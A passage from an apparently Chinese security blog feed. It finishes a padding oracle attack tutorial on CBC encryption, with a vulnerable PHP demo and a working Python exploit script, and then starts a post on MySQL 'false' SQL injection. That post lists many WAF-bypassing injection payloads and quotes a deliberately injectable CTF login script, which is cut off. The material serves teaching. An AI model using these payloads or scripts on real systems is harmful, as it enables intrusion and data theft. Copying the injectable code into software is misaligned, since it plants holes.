</p><p>可以看出末尾的数值为四个0×04,即为填充,这里如果填充的数值不对或者没有进行填充,<strong>解密过程往往不会进行,同时程序会报异常。</strong></p><p>有了这个特性,我们就有了利用点,在这一点有些类似于在SQL注入中的盲注的思想。</p><p>下面具体分析一下:</p><p>在sql注入中,盲注我们通常是只有两种状态,<code>true</code>和<code>false</code></p><p>这里又是如何区分的呢?这里先具体看看具体原理分析</p><p>之前说到的使用条件是,我们可以修改iv、知道密文同时我们可以利用服务端进行解密</p><p>这里构造一个例子,如果服务端如果给用户设置了这样的cookie:key=6d367076036e2239|f851d6cc68fc9537</p><p>我们推测出‘|’之前的是iv,其后面的是加密结果,这个时候如果这里我将iv设置为0000000000000000</p><p>即为key=0000000000000000|f851d6cc68fc9537,发现这个时候页面出错了</p><p>看一下这样子的解密过程</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffkc7h3gafj20dp0773z8.jpg" alt=""> </p><p>这里之前提到的有关填充,可以知道不管消息多长,最后肯定是有填充的,其中填充数值范围和分组的大小有关,这里如果是DES算法8字节一组的话那么最后一位的范围一定是在0x01~0x08之间的,这里0x3D不是这个范围故出错。</p><p>这时候使程序不出错只有最后一位是0x01才可以</p><p>我们开始修正iv,发现当iv为000000000000003C的时候程序没有报错了,这个时候分析一下解密过程</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffkck29su9j20dp07cmxw.jpg" alt=""> </p><p>这个这个时候0x3D异或0x3C为0x01,程序以为这里的填充位为一位,之前的全是数据,没毛病,开始解密</p><p>我们在这里0x3c可以穷举得出,中间值0x3d可以利用0x01异或0x3c计算出,同时我们还知道一个原始的iv=6d367076036e2239。</p><p>由于<code>明文 = 中间值 xor IV</code>,我们列两个式子</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0x01 = 中间值 xor 0x3c</span><br><span class="line"></span><br><span class="line">待求明文 = 中间值 xor 0x39</span><br></pre></td></tr></table></figure><p>这里一个二元一次方程,不难解出待求明文。</p><p>这时候继续向前一位进行攻击,这时候需要后两位为0x02</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffkd1mg5ssj20e207jaat.jpg" alt=""> </p><p>第八位已经计算出,这里只需要重复之前的方法计算第七位即可</p><p>最开始看到这里会觉得有些疑问,为什么我们不能直接多位一起计算,这里可能会出现这么一个情况,假设最后一位是一个合理的填充(假设八字节分组0x01~0x08)第七位是个错误的值时候,就会出现非预期的错误,比如中间值的后两位为0x00和0x02,我们构造的初始向量的后两位为0x02和0x00,这时候程序并不会报错。</p><p> 以此类推我们便可以获取到明文。</p><p>如果这里我们并<strong>不知道初始iv</strong>,在这里我们依然可以进行攻击,只不过第一组的数据无法获取到</p><p>仔细回顾一下上述的加密方式,我们的初始iv只是加密第一组数据中用得到,加密第二组数据的时候其实就是用的第一组的密文充当iv的角色继续加密,我们这里只需要不断修改分组上一分组的密文即可得到下一组的明文。</p><h3 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h3><p>有关的例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line">$type = <span class="string">"aes-128-cbc"</span>;<span class="comment">//加密类型,即分组大小为16</span></span><br><span class="line">$P = <span class="string">"aaaaaaa"</span>;<span class="comment">//明文</span></span><br><span class="line">$Key = <span class="string">"aAbBcCdDeE"</span>;<span class="comment">//加密要用到的Key</span></span><br><span class="line">$IV = <span class="string">"thisivthisivthis"</span>;<span class="comment">//初始化向量,因为有一个异或的过程,所以它的大小和分组大小要一样</span></span><br><span class="line">$C = openssl_encrypt($P, $type, $Key, OPENSSL_RAW_DATA, $IV);</span><br><span class="line"><span class="comment">//满足padding oracle attack前提条件1</span></span><br><span class="line"><span class="keyword">print</span> <span class="string">"iv: "</span>.bin2hex($IV).<span class="string">"<br>"</span>;</span><br><span class="line"><span class="keyword">print</span> <span class="string">"c: "</span>.bin2hex($C).<span class="string">"<br>"</span>;<span class="comment">//可能存在不可显示的字符,加个base64的编码</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'s'</span>]) && <span class="keyword">isset</span>($_GET[<span class="string">'iv'</span>])){</span><br><span class="line">$s = hex2bin($_GET[<span class="string">'s'</span>]);</span><br><span class="line">$iv = hex2bin($_GET[<span class="string">'iv'</span>]);</span><br><span class="line"><span class="keyword">if</span>(($n = openssl_decrypt($s, $type, $Key, OPENSSL_RAW_DATA, $iv)) !== <span class="keyword">false</span>){<span class="comment">//解密失败会返回false</span></span><br><span class="line"><span class="comment">//bit flipping attack</span></span><br><span class="line"><span class="keyword">echo</span> $n;</span><br><span class="line"><span class="keyword">if</span>($n === <span class="string">"admin"</span>){</span><br><span class="line"><span class="keyword">print</span> <span class="string">"well done!"</span>;</span><br><span class="line">}</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="comment">//满足padding oracle attack前提条件2</span></span><br><span class="line"><span class="keyword">die</span>(<span class="string">"Fail!"</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">url = <span class="string">'http://192.168.248.1/test/demo.php'</span></span><br><span class="line">N = <span class="number">16</span></span><br><span class="line">l = [<span class="number">0</span>] * N</span><br><span class="line">iv = <span class="string">'74686973697674686973697674686973'</span>.decode(<span class="string">'hex'</span>)</span><br><span class="line">tmp_iv = <span class="string">''</span></span><br><span class="line">out = [<span class="number">0</span>] * N</span><br><span class="line">s = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>, N+<span class="number">1</span>):</span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">256</span>):</span><br><span class="line">l[N-i] = c</span><br><span class="line">tmp_iv = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> m <span class="keyword">in</span> l:</span><br><span class="line">tmp_iv += chr(m)</span><br><span class="line"><span class="keyword">print</span> tmp_iv.encode(<span class="string">'hex'</span>)</span><br><span class="line">payload = <span class="string">"?s=e211ffa0baa91627a5827f3867a0cff1&iv="</span> + tmp_iv.encode(<span class="string">'hex'</span>)</span><br><span class="line"><span class="comment">#print payload</span></span><br><span class="line">data = requests.get(url+payload).content</span><br><span class="line"><span class="keyword">if</span> <span class="string">'Fail!'</span> <span class="keyword">not</span> <span class="keyword">in</span> data:</span><br><span class="line">out[N-i] = c ^ i</span><br><span class="line"><span class="keyword">for</span> y <span class="keyword">in</span> range(i):</span><br><span class="line">l[N-y<span class="number">-1</span>] = out[N-y<span class="number">-1</span>] ^ (i+<span class="number">1</span>)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(N):</span><br><span class="line">out[i] = out[i] ^ ord(iv[i])</span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> out:</span><br><span class="line">s += chr(c)</span><br><span class="line"><span class="keyword">print</span> s</span><br></pre></td></tr></table></figure><p>python有一个关于此方式利用的库,<a href="https://github.com/mwielgoszewski/python-paddingoracle" target="_blank" rel="noopener">项目地址</a></p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="http://k1n9.me/2017/03/16/attack-in-cbc/" target="_blank" rel="noopener">http://k1n9.me/2017/03/16/attack-in-cbc/</a></p>]]></content>
<summary type="html">
<p>关于密码学的种种漏洞以及利用网上也有不少,但是比较零散,有关介绍比较局限,导致一些东西晦涩难懂不易理解,这里是一个有关于CBC分组加密的一个讲解</p>
</summary>
<category term="密码学" scheme="http://blog.leej.me/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
</entry>
<entry>
<title>False注入,以及SQL注入技巧总结</title>
<link href="http://blog.leej.me/2017/04/25/False%E6%B3%A8%E5%85%A5,%E4%BB%A5%E5%8F%8ASQL%E6%B3%A8%E5%85%A5%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93/"/>
<id>http://blog.leej.me/2017/04/25/False注入,以及SQL注入技巧总结/</id>
<published>2017-04-24T16:23:31.000Z</published>
<updated>2018-02-07T04:11:15.806Z</updated>
<content type="html"><![CDATA[<p>利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。</p><p>原文首发在安全客,文章地址:<a href="http://bobao.360.cn/learning/detail/3804.html" target="_blank" rel="noopener">http://bobao.360.cn/learning/detail/3804.html</a><br>有点可惜小编排版有些不是很完美。</p><a id="more"></a><h3 id="0x01-False-Injection"><a href="#0x01-False-Injection" class="headerlink" title="0x01 False Injection"></a>0x01 False Injection</h3><h4 id="0-引子"><a href="#0-引子" class="headerlink" title="0 :引子"></a>0 :引子</h4><p>首先我们常见的注入<br><code>1=1</code><br><code>0<1</code><br><code>''=''</code><br>这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。</p><p>首先抛出这么一个问题<br><img src="http://ww1.sinaimg.cn/mw690/7e2785d1gy1feyaylgza2j20fi04a3yc.jpg" alt=""><br>为什么username=0会导致返回数据呢?</p><p>这就是一个基于false注入的例子,下面在举一个例子<br><img src="http://ww1.sinaimg.cn/mw690/7e2785d1ly1feybg15i4hj20gq03xmwz.jpg" alt=""><br>和上面是同一个表,但是为什么这里只返回了两组数据呢?<br>说到这里不得不说一说有关于MYSQL的隐式类型转换。</p><h4 id="1:MYSQL隐式类型转换"><a href="#1:MYSQL隐式类型转换" class="headerlink" title="1:MYSQL隐式类型转换"></a>1:MYSQL隐式类型转换</h4><p>关于<a href="https://dev.mysql.com/doc/refman/5.6/en/type-conversion.html" target="_blank" rel="noopener">官方文档</a>中是这么说的</p><p>The following rules describe how conversion occurs for comparison operations:</p><ul><li>If one or both arguments are <code>NULL</code>, the result of the comparison is <code>NULL</code>, except for the <code>NULL</code>-safe <a href="https://dev.mysql.com/doc/refman/5.5/en/comparison-operators.html#operator_equal-to" target="_blank" rel="noopener"><code><=></code></a> equality comparison operator. For <code>NULL <=> NULL</code>, the result is true. No conversion is needed.</li><li>If both arguments in a comparison operation are strings, they are compared as strings.</li><li>If both arguments are integers, they are compared as integers.</li><li>Hexadecimal values are treated as binary strings if not compared to a number.</li><li>If one of the arguments is a <a href="https://dev.mysql.com/doc/refman/5.5/en/datetime.html" target="_blank" rel="noopener"><code>TIMESTAMP</code></a> or <a href="https://dev.mysql.com/doc/refman/5.5/en/datetime.html" target="_blank" rel="noopener"><code>DATETIME</code></a> column and the other argument is a constant, the constant is converted to a timestamp before the comparison is performed. This is done to be more ODBC-friendly. Note that this is not done for the arguments to <a href="https://dev.mysql.com/doc/refman/5.5/en/comparison-operators.html#function_in" target="_blank" rel="noopener"><code>IN()</code></a>! To be safe, always use complete datetime, date, or time strings when doing comparisons. For example, to achieve best results when using <a href="https://dev.mysql.com/doc/refman/5.5/en/comparison-operators.html#operator_between" target="_blank" rel="noopener"><code>BETWEEN</code></a> with date or time values, use <a href="https://dev.mysql.com/doc/refman/5.5/en/cast-functions.html#function_cast" target="_blank" rel="noopener"><code>CAST()</code></a> to explicitly convert the values to the desired data type.</li><li>If one of the arguments is a decimal value, comparison depends on the other argument. The arguments are compared as decimal values if the other argument is a decimal or integer value, or as floating-point values if the other argument is a floating-point value.</li><li>In all other cases, the arguments are compared as floating-point (real) numbers.</li></ul><p>其中大致是:</p><ul><li>如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换</li><li>两个参数都是字符串,按照字符串比较。不做类型转换</li><li>两个参数都是整数,按照整数比较。不做类型转换</li><li>如果不与数字进行比较,则将十六进制值视为二进制字符串。</li><li>有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳</li><li>有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较</li><li><strong>所有其他情况下,两个参数都会被转换为浮点数再进行比较</strong></li></ul><p>最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败</p><p>在这里我试了试如果是字符串和数字比较</p><p>:<img src="http://ww1.sinaimg.cn/large/7e2785d1ly1feyd166k1sj20d70apgll.jpg" alt=""> </p><p>可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。</p><h4 id="2、原理"><a href="#2、原理" class="headerlink" title="2、原理"></a>2、原理</h4><p>mysql在变量比较的时候进行类型转换,我们就是利用字符转换的结果为false来进行利用: </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ff8mog1etcj20ao03pglh.jpg" alt=""> </p><p>其中同时0又是等于false的<br><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ff8mog11okj207703qmx1.jpg" alt=""> </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ff8mofzcglj2087049q2u.jpg" alt=""> </p><p>这里查看一下warning</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1ff8nauwxm4j20jx07374j.jpg" alt=""> </p><p>发现正如官方文档所述,会转换为double,同时并不能转换所产生的warning</p><p>现在可以很好理解之前为什么username=0会导致返回数据。</p><p>因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回false使得false=0从而为true得到结果。</p><p>细心一点可以发现开篇的例子第二组passwd查询少一组数据。 </p><p>关于这一点我做了一下测试</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">mysql> select 'a' = 0;</span><br><span class="line">+---------+</span><br><span class="line">| 'a' = 0 |</span><br><span class="line">+---------+</span><br><span class="line">| 1 |</span><br><span class="line">+---------+</span><br><span class="line">1 row in set, 1 warning (0.00 sec)</span><br><span class="line"> </span><br><span class="line">mysql> select '1a' = 1;</span><br><span class="line">+----------+</span><br><span class="line">| '1a' = 1 |</span><br><span class="line">+----------+</span><br><span class="line">| 1 |</span><br><span class="line">+----------+</span><br><span class="line">1 row in set, 1 warning (0.00 sec)</span><br><span class="line"> </span><br><span class="line">mysql> select '1a1b' = 1;</span><br><span class="line">+------------+</span><br><span class="line">| '1a1b' = 1 |</span><br><span class="line">+------------+</span><br><span class="line">| 1 |</span><br><span class="line">+------------+</span><br><span class="line">1 row in set, 1 warning (0.00 sec)</span><br><span class="line"> </span><br><span class="line">mysql> select '1a2b3' = 1;</span><br><span class="line">+-------------+</span><br><span class="line">| '1a2b3' = 1 |</span><br><span class="line">+-------------+</span><br><span class="line">| 1 |</span><br><span class="line">+-------------+</span><br><span class="line">1 row in set, 1 warning (0.00 sec)</span><br><span class="line"> </span><br><span class="line">mysql> select 'a1b2c3' = 0;</span><br><span class="line">+--------------+</span><br><span class="line">| 'a1b2c3' = 0 |</span><br><span class="line">+--------------+</span><br><span class="line">| 1 |</span><br><span class="line">+--------------+</span><br><span class="line">1 row in set, 1 warning (0.00 sec)</span><br></pre></td></tr></table></figure><p>可以观察到这里有几个特性</p><ol><li>如果字符串的第一个字符就是非数字的字符,那么转换为数字就是0</li><li>如果字符串以数字开头</li><li>如果字符串中都是数字,那么转换为数字就是整个字符串对应的数字</li><li>如果字符串中存在非数字,那么转换为的数字就是开头的那些数字对应的值</li></ol><h4 id="3、利用"><a href="#3、利用" class="headerlink" title="3、利用"></a>3、利用</h4><p>实际中我们接触到的语句都是带有引号的,类似于<code>where username='+input+'</code> 这样的,这时候我们就需要做一些处理来构造false注入的利用点。</p><h5 id="3-1、算术运算"><a href="#3-1、算术运算" class="headerlink" title="3.1、算术运算"></a>3.1、算术运算</h5><p>加:<code>+</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'+',</span><br><span class="line">拼接的语句:where username=''+''</span><br></pre></td></tr></table></figure><p>减:<code>-</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'-'</span><br><span class="line">拼接的语句:where username=''-''</span><br></pre></td></tr></table></figure><p>乘:<code>*</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'*'</span><br><span class="line">拼接的语句:where username=''*''</span><br></pre></td></tr></table></figure><p>除:<code>/</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'/6#</span><br><span class="line">拼接的语句:where username=''/6#</span><br></pre></td></tr></table></figure><p>取余:<code>%</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'%1#</span><br><span class="line">拼接的语句:where username=''%1#</span><br></pre></td></tr></table></figure><h5 id="3-2、-位操作运算"><a href="#3-2、-位操作运算" class="headerlink" title="3.2、 位操作运算"></a>3.2、 位操作运算</h5><p>我们可以使用当字符串和数字运算的时候类型转换的问题进行利用</p><p>我们可以用的位运算符有:</p><p>和运算:<code>&</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'&0#</span><br><span class="line">拼接的语句:where username=''&0#'</span><br></pre></td></tr></table></figure><p>或运算:<code>|</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'|0#</span><br><span class="line">拼接的语句:where username=''|0#'</span><br></pre></td></tr></table></figure><p>异或运算:<code>^</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'^0#</span><br><span class="line">拼接的语句:where username=''^0#'</span><br></pre></td></tr></table></figure><p>移位操作:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'<<0#</span><br><span class="line">'>>0#</span><br></pre></td></tr></table></figure><p>位非(~):这里位非运算符由于是在表达式之前的</p><h5 id="3-3、-比较运算符"><a href="#3-3、-比较运算符" class="headerlink" title="3.3、 比较运算符"></a>3.3、 比较运算符</h5><p>安全等于:<code><=></code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'=0<=>1#</span><br><span class="line">拼接的语句:where username=''=0<=>1#'</span><br></pre></td></tr></table></figure><p>不等于<code><>(!=)</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'=0<>0#</span><br><span class="line">拼接的语句:where username=''=0<>0#'</span><br></pre></td></tr></table></figure><p>大小于<code>>或<</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">'>-1#</span><br><span class="line">拼接的语句:where username=''>-1#</span><br></pre></td></tr></table></figure><h5 id="3-4、-其他"><a href="#3-4、-其他" class="headerlink" title="3.4、 其他"></a>3.4、 其他</h5><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">'+1 is not null#</span><br><span class="line"></span><br><span class="line">'in(-1,1)#</span><br><span class="line"></span><br><span class="line">'not in(1,0)#</span><br><span class="line"></span><br><span class="line">'like 1#</span><br><span class="line"></span><br><span class="line">'REGEXP 1#</span><br><span class="line"></span><br><span class="line">'BETWEEN 1 AND 1#</span><br><span class="line"></span><br><span class="line">'div 1#</span><br><span class="line"></span><br><span class="line">'xor 1#</span><br><span class="line"></span><br><span class="line">'=round(0,1)='1</span><br><span class="line"></span><br><span class="line">'<>ifnull(1,2)='1</span><br></pre></td></tr></table></figure><h4 id="4、综合利用"><a href="#4、综合利用" class="headerlink" title="4、综合利用"></a>4、综合利用</h4><p>有时候如果我们的注入点不能有数字出现,比如过滤了数字,那我们该如何利用? </p><p>这里就可以利用一些内置的函数或运算来构造</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">mysql> select 'aaa'=''-'';</span><br><span class="line">+-------------+</span><br><span class="line">| 'aaa'=''-'' |</span><br><span class="line">+-------------+</span><br><span class="line">| 1 |</span><br><span class="line">+-------------+</span><br><span class="line">1 row in set, 1 warning (0.00 sec)</span><br><span class="line"></span><br><span class="line">mysql> select 'aaa'=~~'';</span><br><span class="line">+------------+</span><br><span class="line">| 'aaa'=~~'' |</span><br><span class="line">+------------+</span><br><span class="line">| 1 |</span><br><span class="line">+------------+</span><br><span class="line">1 row in set, 2 warnings (0.00 sec)</span><br><span class="line"></span><br><span class="line">mysql> select 'aaa'=mod(pi(),pi());</span><br><span class="line">+----------------------+</span><br><span class="line">| 'aaa'=mod(pi(),pi()) |</span><br><span class="line">+----------------------+</span><br><span class="line">| 1 |</span><br><span class="line">+----------------------+</span><br><span class="line">1 row in set, 1 warning (0.00 sec)</span><br></pre></td></tr></table></figure><p>false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。</p><p>比较多的是在登录验证的时候影响比较大,或者是在where进行限定的时候产生一些比较不可预期的错误,譬如删除数据的时候如果代码过滤不严,这里利用严重的可以删除整个表。</p><p>当然这里可以通过配合其他的姿势来进行利用</p><p>这里举例一道题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">include("config.php");</span><br><span class="line"></span><br><span class="line">$conn ->query("set names utf8");</span><br><span class="line"></span><br><span class="line">function randStr($lenth=32){</span><br><span class="line"> $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";</span><br><span class="line"> $str = "";</span><br><span class="line"> while($lenth>0){</span><br><span class="line"> $str.=substr($strBase,rand(0,strlen($strBase)-1),1);</span><br><span class="line"> $lenth --;</span><br><span class="line"> }</span><br><span class="line"> return $str;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">if($install){</span><br><span class="line"> $sql = "create table `user` (</span><br><span class="line"> `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,</span><br><span class="line"> `username` varchar(30) NOT NULL,</span><br><span class="line"> `passwd` varchar(32) NOT NULL,</span><br><span class="line"> `role` varchar(30) NOT NULL</span><br><span class="line"> )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";</span><br><span class="line"> if($conn->query($sql)){</span><br><span class="line"> $sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";</span><br><span class="line"> $conn -> query($sql);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function filter($str){</span><br><span class="line"> $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";</span><br><span class="line"> if(preg_match($filter,$str)){</span><br><span class="line"> die("you can't input this illegal char!");</span><br><span class="line"> }</span><br><span class="line"> return $str;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">function show($username){</span><br><span class="line"> global $conn;</span><br><span class="line"> $sql = "select role from `user` where username ='".$username."'";</span><br><span class="line"> $res = $conn ->query($sql);</span><br><span class="line"> if($res->num_rows>0){</span><br><span class="line"></span><br><span class="line"> echo "$username is ".$res->fetch_assoc()['role'];</span><br><span class="line"> }else{</span><br><span class="line"> die("Don't have this user!");</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function login($username,$passwd){</span><br><span class="line"> global $conn;</span><br><span class="line"> global $flag;</span><br><span class="line"></span><br><span class="line"> $username = trim(strtolower($username));</span><br><span class="line"> $passwd = trim(strtolower($passwd));</span><br><span class="line"> if($username == 'admin'){</span><br><span class="line"> die("you can't login this as admin!");</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";</span><br><span class="line"> $res = $conn ->query($sql);</span><br><span class="line"> 